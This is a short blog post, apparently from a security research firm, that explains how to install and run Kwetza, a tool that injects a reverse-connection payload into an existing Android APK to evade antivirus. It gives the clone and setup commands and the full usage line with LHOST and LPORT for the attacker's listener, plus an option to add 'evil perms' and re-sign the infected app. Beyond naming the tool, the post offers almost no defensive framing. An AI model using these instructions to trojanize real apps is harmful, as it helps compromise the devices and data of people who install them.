The Black Hat Art of Backdooring Android APK | Part 2 | Lucideus Research

Kwetza infects an existing Android application with either custom or default payload templates to avoid detection by antivirus. Kwetza allows you to infect Android applications using the target application's default permissions or inject additional permissions to gain additional functionality.

Installation Guide
Firstly get the code: git clone https://github.com/sensepost/kwetza.git

Kwetza is written in Python and requires BeautifulSoup which can be installed using Pip:
pip install beautifulsoup4

Kwetza requires Apktool to be install and accessible via your PATH. This can be setup using the install instructions located here: https://ibotpeaches.github.io/Apktool/install

Usage
python kwetza.py [apktoinfect].apk https/tcp LHOST LPORT yes/no customClass

• [apktoinfect]= name of the APK you wish to infect.
• https/tcp = select either a HTTPS or TCP connection ( We recommend HTTPS for stable connection)
• LHOST = IP of your listener.
• LPORT = Port of your listener.
• yes = include "yes" to inject additional evil perms into the app, "no" to utilize the default permissions of the app.
• customClass = Specify a custom activity here if you want Kwetza to inject into this activity.

Note: If you would like to sign the infected application with your own certificate, generate a new keystore and place it in the "payload" folder and rename to the existing keystore or change the reference in the kwetza.py.

The same can be done for payload templates.

The password for the default keystore is, well, "password".

POC VIDEO